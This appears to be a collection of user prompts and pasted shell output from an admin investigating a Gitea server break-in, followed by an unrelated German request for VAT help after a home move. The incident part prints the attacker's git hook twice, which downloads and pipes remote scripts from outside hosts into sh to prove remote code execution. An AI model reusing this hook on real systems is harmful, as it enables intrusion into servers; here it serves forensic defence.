zeige mir nochmal, wie ich die Registrierung sperre. + +--- + +OK, die Registrierung ist nun gesperrt. + +--- + +root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $7}' | awk -F/ '{if ($2=="api") print $5; else print $2}' | sort | uniq -c | sort -rn | head -20 + 3131 gitea1337 + 3116 giteaa1337 + 420 tlg + 289 user + 217 wlfb + 209 mkt + 79 lwc + 23 llm + 14 wbg + 9 pln + 8 trf + 7 ncd + 7 n8n + 7 krtr + 5 rdms + 3 testpoc99091 + 3 testpoc98983 + 3 testpoc98707 + 3 testpoc98701 + 3 testpoc98443 +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | grep -vE 'gitea1337|giteaa1337|testpoc' | awk '{print $1, $6, $9}' | sort | uniq -c | sort -rn | head -20 + 360 74.7.241.12 "GET 303 + 246 216.73.217.135 "GET 303 + 246 216.73.217.135 "GET 200 + 190 74.7.243.192 "GET 303 + 53 74.7.227.174 "GET 303 + 48 93.123.109.101 "GET 303 + 41 213.209.159.133 "GET 303 + 41 213.209.159.133 "GET 200 + 26 74.7.227.170 "GET 303 + 19 74.7.227.17 "GET 303 + 9 74.7.227.38 "GET 303 + 7 74.7.241.25 "GET 303 + 6 74.7.227.160 "GET 303 + 2 74.7.241.12 "GET 200 +root@sv003 ~/docker/git # + +--- + +Bevor wir das tun, bitte analysieren, in welchem Umfang die Angreifer Inhalte auf den Server hochgeladen haben und welche Inhalte das waren. + +--- + +root@sv003 ~/docker/git # du -sh /opt/appdata/gitea/git/repositories/* | sort -rh | head -30 +455M /opt/appdata/gitea/git/repositories/gitea1337 +453M /opt/appdata/gitea/git/repositories/giteaa1337 +16M /opt/appdata/gitea/git/repositories/tlg +3.1M /opt/appdata/gitea/git/repositories/wlfb +816K /opt/appdata/gitea/git/repositories/llm +720K /opt/appdata/gitea/git/repositories/lwc +660K /opt/appdata/gitea/git/repositories/mkt +404K /opt/appdata/gitea/git/repositories/ncd +316K /opt/appdata/gitea/git/repositories/testpoc96516 +316K /opt/appdata/gitea/git/repositories/testpoc95946 +316K /opt/appdata/gitea/git/repositories/testpoc93288 +316K /opt/appdata/gitea/git/repositories/testpoc85733 +316K /opt/appdata/gitea/git/repositories/testpoc82932 +316K /opt/appdata/gitea/git/repositories/testpoc82705 +316K /opt/appdata/gitea/git/repositories/testpoc79896 +316K /opt/appdata/gitea/git/repositories/testpoc69572 +316K /opt/appdata/gitea/git/repositories/testpoc66868 +316K /opt/appdata/gitea/git/repositories/testpoc63173 +316K /opt/appdata/gitea/git/repositories/testpoc58970 +316K /opt/appdata/gitea/git/repositories/testpoc55339 +316K /opt/appdata/gitea/git/repositories/testpoc52938 +316K /opt/appdata/gitea/git/repositories/testpoc50766 +316K /opt/appdata/gitea/git/repositories/testpoc42534 +316K /opt/appdata/gitea/git/repositories/testpoc40770 +316K /opt/appdata/gitea/git/repositories/testpoc38905 +316K /opt/appdata/gitea/git/repositories/testpoc38380 +316K /opt/appdata/gitea/git/repositories/testpoc13731 +316K /opt/appdata/gitea/git/repositories/testpoc12313 +312K /opt/appdata/gitea/git/repositories/testpoc97134 +312K /opt/appdata/gitea/git/repositories/testpoc87888 +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # du -sk /opt/appdata/gitea/git/repositories/gitea1337/* /opt/appdata/gitea/git/repositories/giteaa1337/* | sort -rn | head -10 +304 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git +300 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-22675.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99938.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99901.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99882.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99877.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99860.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99747.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99670.git +288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99534.git +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git log --all --stat --format='%h %an %ad %s' | head -30 +0f01a93 poc Tue Aug 25 08:01:44 2026 +0000 rce proof + + proof | 0 + 1 file changed, 0 insertions(+), 0 deletions(-) +7f2e27a giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-2 +79c502c giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-1 + + hooks/post-index-change | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) +c609db6 giteaa1337 Tue Aug 25 08:01:37 2026 +0000 Initial commit + + README.md | 2 ++ + 1 file changed, 2 insertions(+) +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git show 79c502c:hooks/post-index-change +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +output_blob=$(busybox wget --no-check-certificate -q -O- http://repositorylinux.jo3.org/cronsys | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 +exit 0 +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # find /opt/appdata/gitea -type f -perm /111 -newermt 2026-08-01 -not -path '*/repositories/*' +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/commit-msg.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/sendemail-validate.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/prepare-commit-msg.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/push-to-checkout.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-push.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-merge-commit.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-rebase.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/update.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-applypatch.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-update.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-commit.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-receive.sample +/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/applypatch-msg.sample +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # stat -c '%y %s Bytes' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change && cat /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change +2026-09-24 10:32:24.627976734 +0200 844 Bytes +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +output_blob=$(curl -s -k https://archive.repositoryserver.org/linuxsh | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 +exit 0 +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker image inspect gitea/gitea:1.27.3 --format '{{.Metadata.LastTagTime}}' +0001-01-01 00:00:00 +0000 UTC +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker inspect gitea --format '{{.Created}}' +2026-09-24T10:36:22.759809116Z +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # grep 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log | tail -5 | awk '{print $1, $4, $9}' +138.199.60.39 [24/Sep/2026:12:02:35 201 +138.199.60.39 [24/Sep/2026:12:02:38 201 +138.199.60.39 [24/Sep/2026:12:02:36 201 +138.199.60.39 [24/Sep/2026:12:02:39 201 +138.199.60.39 [24/Sep/2026:12:02:37 201 +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker exec -u git gitea sh -c 'for r in /data/git/repositories/*/*.git; do s=$(git --git-dir="$r" cat-file -s rce-proof:proof 2>/dev/null) && echo "$s $r"; done | sort -rn | head -10' +783 /data/git/repositories/testpoc95173/poc-38464.git +783 /data/git/repositories/testpoc60874/poc-41072.git +506 /data/git/repositories/giteaa1337/giteaa-98896.git +506 /data/git/repositories/giteaa1337/giteaa-92169.git +506 /data/git/repositories/giteaa1337/giteaa-89750.git +506 /data/git/repositories/giteaa1337/giteaa-89164.git +506 /data/git/repositories/giteaa1337/giteaa-88596.git +506 /data/git/repositories/giteaa1337/giteaa-84205.git +506 /data/git/repositories/giteaa1337/giteaa-82686.git +506 /data/git/repositories/giteaa1337/giteaa-81163.git +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-98896.git cat-file -p rce-proof:proof +You can get through this! +ps: unrecognized option: sort=-%cpu +BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary. + +Usage: ps [-o COL1,COL2=HEADER] [-T] + +Show list of processes + + -o COL1,COL2=HEADER Select columns for display + -T Show threads +There is still a process! +ps: unrecognized option: sort=-%cpu +BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary. + +Usage: ps [-o COL1,COL2=HEADER] [-T] + +Show list of processes + + -o COL1,COL2=HEADER Select columns for display + -T Show threads +root@sv003 ~/docker/git # + +--- + +root@sv003 ~/backup # tar czf ./gitea-hack-evidence.tgz /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-98896.git /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git /opt/appdata/gitea/git/repositories/testpoc60874 /opt/appdata/gitea/git/repositories/testpoc95173 /opt/appdata/gitea/gitea/tmp/local-repo /var/log/virtualmin/git.destengs.com_* +tar: Removing leading `/' from member names +tar: Removing leading `/' from hard link targets +root@sv003 ~/backup # ls -alhrt +total 80M +-rw-r--r-- 1 root root 54M Sep 24 12:31 gitea-backup_2026-09-24_12-31.tar.gz +drwx------ 18 root root 4.0K Sep 24 12:35 .. +drwxr-xr-x 2 root root 4.0K Sep 24 16:53 . +-rw-r--r-- 1 root root 27M Sep 24 16:53 gitea-hack-evidence.tgz +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # docker exec -u git gitea gitea admin user list | awk 'NR>1 && $1>=15 {print $2}' > /root/attacker-users.txt +root@sv003 ~/backup # wc -l /root/attacker-users.txt +257 /root/attacker-users.txt +root@sv003 ~/backup # grep -vE '^testpoc|1337' /root/attacker-users.txt +jujpqlugml +dqyywxkedt +oehhhkluuj +root@sv003 ~/backup # + +--- + +2026/09/24 15:09:09 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners +2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments +2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars +2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars +2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs +2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive +2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages +2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log +2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts +2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners +2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments +2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars +2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars +2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs +2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive +2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages +2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log +2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts +2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners +2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments +2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars +2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars +2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs +2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive +2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages +2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log +2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local +2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts +2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # docker exec -u git gitea gitea admin user list +ID Username Email IsActive IsAdmin 2FA +1 admin nix@no.de true true false +2 tlg tlg@nix.de true false false +3 llm llm@nix.de true false false +4 wbg wbg@nix.de true false false +5 n8n n8n@nix.de true false false +6 krtr krtr@nix.de true false false +7 try try@nix.de true false false +8 trf trf@nix.de true false false +9 ncd ncd@nix.de true false false +10 rdms Thomas.Langer@destengs.com true false false +11 pln No@nix.de true false false +12 mkt mkt@nix.no true false false +13 lwc lwc@nix.de true false false +14 wlfb wlfb@nix.no true false false +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # grep -nE '^\[|SECRET|TOKEN|PASSWD|PASSWORD|DB_TYPE' /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1/' +6:[repository] +9:[repository.local] +12:[repository.upload] +15:[server] +25:LFS_JWT_SECRET = +28:[database] +30:DB_TYPE = +34:PASSWD = +39:[indexer] +42:[session] +46:[picture] +50:[attachment] +53:[log] +58:[security] +60:SECRET_KEY = +63:INTERNAL_TOKEN = +64:PASSWORD_HASH_ALGO = +66:[service] +78:[lfs] +81:[mailer] +84:[openid] +88:[cron.update_checker] +91:[repository.pull-request] +94:[repository.signing] +97:[oauth2] +98:JWT_SECRET = +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # sed -n '28,38p' /opt/appdata/gitea/gitea/conf/app.ini | grep -v PASSWD +[database] +PATH = /data/gitea/gitea.db +DB_TYPE = sqlite3 +HOST = localhost:3306 +NAME = gitea +USER = root +LOG_SQL = false +SCHEMA = +SSL_MODE = disable + +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # diff /root/backup/app.ini.before-rotation /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1/' +25c25 +< LFS_JWT_SECRET = +--- +> LFS_JWT_SECRET = +60c60 +< SECRET_KEY = +--- +> SECRET_KEY = +63c63 +< INTERNAL_TOKEN = +--- +> INTERNAL_TOKEN = +98c98 +< JWT_SECRET = +--- +> JWT_SECRET = +root@sv003 ~/backup # + +--- + +root@sv003 ~/backup # cd ~/docker/git && docker compose restart +WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete +[+] Restarting 1/1 + ✔ Container gitea Started 1.0s +root@sv003 ~/docker/git # +root@sv003 ~/docker/git # docker compose logs --tail 30 gitea +WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete +gitea | 2026/09/24 15:24:27 routers/init.go:117:InitWebInstalled() [I] Git version: 2.54.0 (home: /data/gitea/home) +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log +gitea | 2026/09/24 15:24:27 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local +gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts +gitea | 2026/09/24 15:24:27 routers/common/db.go:22:InitDBEngine() [I] Beginning ORM engine initialization. +gitea | 2026/09/24 15:24:27 routers/common/db.go:29:InitDBEngine() [I] ORM engine initialization attempt #1/10... +gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [I] PING DATABASE sqlite3 +gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1 +gitea | 2026/09/24 15:24:27 routers/init.go:138:InitWebInstalled() [I] ORM engine initialization successful! +gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:41:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories +gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:78:InitIssueIndexer.1() [I] PID 16: Initializing Issue Indexer: bleve +gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:87:populateRepoIndexer() [I] Done (re)populating the repo stats indexer with existing repositories +gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:155:InitIssueIndexer.2() [I] Issue Indexer Initialization took 713.587µs +gitea | 2026/09/24 15:24:27 cmd/web.go:329:listen() [I] Listen: http://0.0.0.0:3000 +gitea | 2026/09/24 15:24:27 cmd/web.go:333:listen() [I] AppURL(ROOT_URL): https://git.destengs.com/ +gitea | 2026/09/24 15:24:27 cmd/web.go:336:listen() [I] LFS server enabled +gitea | 2026/09/24 15:24:27 modules/graceful/server.go:52:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 16 +root@sv003 ~/docker/git # + +--- + +Du schriebst "Ein starkes, einmaliges Passwort ist dagegen sicher, ein schwaches oder wiederverwendetes nicht. Deshalb ändern wir sie." + +Falsch, wir ändern sie nicht. Alle Nutzer haben starke Passwörter verwendet. Wenn nur die Passwort-Hashes gespeichert waren und erbeutet wurden, brauchen die Passworte nicht geändert werden. + +--- diff --git a/Steuer.md b/Steuer.md new file mode 100644 index 0000000..3696935 --- /dev/null +++ b/Steuer.md @@ -0,0 +1,201 @@ +# Steuerliche Behandlung nach Änderung der Lebenssituation 2026 + +## Motivation + +Die für Freiberufler wie mich katastrophale wirtschaftliche Situation in Deutschland hat uns dazu gezwungen, unsere Lebenssituation gravierend anzupassen. Wir mussten aus einer gemieteten Doppelhaushälfte ausziehen und in eine deutlich preiswertere Wohnung einziehen. Außerdem musste ich zwei gemietete Büroräume kündigen, in denen ich bisher mein Ingenieurbüro hatte. + +Zwei Räume unserer neuen Wohnung werden mir zukünftig ausschließlich für meine Ingenieurbüro-Tätigkeiten dienen. Meine Frau arbeitet hauptsächlich im Homeoffice und ich brauche für meine Ingenieurbüro-Tätigkeiten auch eine zuverlässige, leistungsfähige Internetverbindung; wir haben daher einen Vertrag bei einem Glasfaser-Internetanbieter-Anbieter abgeschlossen. + +Wir wollen nun die geänderte Lebenssituation steuerlich berücksichtigen. + +## Details + +- Mietvertrag neue Wohnung seit 1. August 2026 +- Einzug in die neue Wohnung am 12. August 2026 +- Meine Frau Janina arbeitet hauptsächlich im Homeoffice; bisher in einem ausschließlich dafür genutzten Büroraum der gemieteten Doppelhaushälfte, seit dem Umzug in einem Bereich des Wohnzimmers (kein separater Raum mehr) + +## Deine Aufgaben + +- Bitte interviewe mich mit deinem AskUserQuestions Tool, bis du die Situation und deine Aufgaben vollständig verstanden hast +- Dann hilf mir, die Situation in meiner Umsatzsteuer-Voranmeldung korrekt darzustellen +- Unterstütze mich dabei, meinen Steuerberater zu informieren + +--- + +Regelbesteuerung. Wenn ich Rechnungen schreibe, zahle ich noch keine Umsatzsteuer, erst wenn ich die Bezahlung meiner Rechnungen erhalte. + +--- + +Ich schätze: a) Freiberufler Ing.-Büro DesTEngS ca. 30 %, b) Janina Home-Office ca. 50 %, c) Private Freizeit-Nutzung ca. 20 %. + +--- + +Nur privater Hausrat. Büro-Umzug kommt erst noch. Die beiden Büro-Räume in der neuen Wohnung werden im Moment dafür vorbereitet (Netzwerk-Kabel Verlegung, Malerarbeiten). + +--- + +Die Büroräume in Unterhaching laufen noch länger als Ende September 2026, weil ich eine lange Kündigungsfrist habe. Falls ich keinen Nachmieter finde, muss ich noch bis März 2027 Büromiete zahlen. Ein Büro-Umzugstermin steht noch nicht fest. + +Ich habe eine Dauerfristverlängerung für die Umsatzsteuer-Voranmeldung. + +## Glasfaser Nutzungsanteil + +Lass uns das mit der Anteil-Schätzung noch etwas präziser machen. Pro Woche nutzen wir zeitlich ungefähr diese Anteile, gemittelt auf das Jahr 2026: +Janina Home Office: 37 h * 4 Tage / 5 Tage +DesTEngS Marketing und Weiterbildung: 40 h * 9 Monate / 12 Monate +Freizeit-Nutzung (Streaming, Nachrichten): 10 h + +Damit nutzen wir pro Woche ca. 69,6 h Glasfaser-Internet und mein geschätzter Anteil ist ca. 43 %. + +## Deine Daten-Anfrage + +### 1. Renovierung + +Bisher habe ich nur in der DHH ausgebessert und zwei privat genutzte Räume in der neuen Wohnung selbst renoviert, also für die aktuelle Umsatzsteuer-Voranmeldung noch nicht relevant. Was ich noch an Farbe oder anderem Material kaufen werde, kann ich dann später einreichen. + +### 2. Netzwerkverkabelung + +#### a) Für Glasfaser + +Der Glasfaser-Anbieter konnte keine hausinterne Leitungs-Verlegung anbieten. Ich habe deswegen Material und Werkzeug dafür gekauft und den Leitungsweg für die Glasfaser in unsere Wohnung selbst vorbereitet. Das sollte ja anteilig auch steuerlich geltend gemacht werden können. Die Preise inklusive USt.: + +- Mörtel 6,29 € +- Silikon 11,90 € +- Bohrer 10,99 € +- Installationsrohr 16,39 € +- Kabelverschraubung 6,79 € +- Befestigungsschellen Edelstahl 6,99 € +- Lochsäge 32 mm 10,99 € +- Leergehäuse 21,99 € +- Klemmschellen 8,00 € +- Lochsäge 28 mm 9,99 € + +Insgesamt also 110,32 €. + +#### b) Verkabelung nur für die Büroräume + +Für zwei nötige Mauerdurchbrüche habe ich erst gestern einen weiteren Bohrer gekauft, kann ich also noch nicht für die August USt-Voranmeldung geltend machen. + +### 3. Glasfaser + +Erste Rechnung vom 7. September 2026 liegt vor. + +Monatliche Beträge: August anteilig, September ganz, gesamt 11,93 € inkl. USt. + +Einmalige Beträge: Bereitstellungsgebühr 79,99 €. + +### 4. Unterhaching + +Das bleibt doch wie in den letzten Monaten, warum brauchst du das? + +### 5. Für den Steuerberater + +Wohnfläche der neuen Wohnung ca. 125,7 qm, Fläche der beiden Büroräume 26,9 qm und die Summe aus Wohnungsgrundmiete plus Wärme- und BetriebskostenpauschaleWarmmiete ist 1.650,00 €. + +--- + +## Glasfaser Nutzungsanteil + +Ich habe ab 1. Oktober 2026 einen neuen Job, bei dem ich vor Ort beim Kunden tätig sein werde; also 3 Monate in 2026. Der neue Job geht bis zum 31. März 2027, danach strebe ich wieder eine Tätigkeit mit hohem Anteil in meinen Büroräumen an. Bisher war ich 2026 fast nur in meinen Büroräumen tätig. Deswegen komme ich auf 9 Monate von 12 Monaten. + +Ist es akzeptabel, mit so einem pauschalen Nutzungsanteil zu rechnen? Ich würde ungern Monat für Monat neu den Anteil angepasst erstellen. Das wäre dann allerdings nicht "Nutzung ab Vertragsbeginn im August abbilden". + +## Betriebsräume 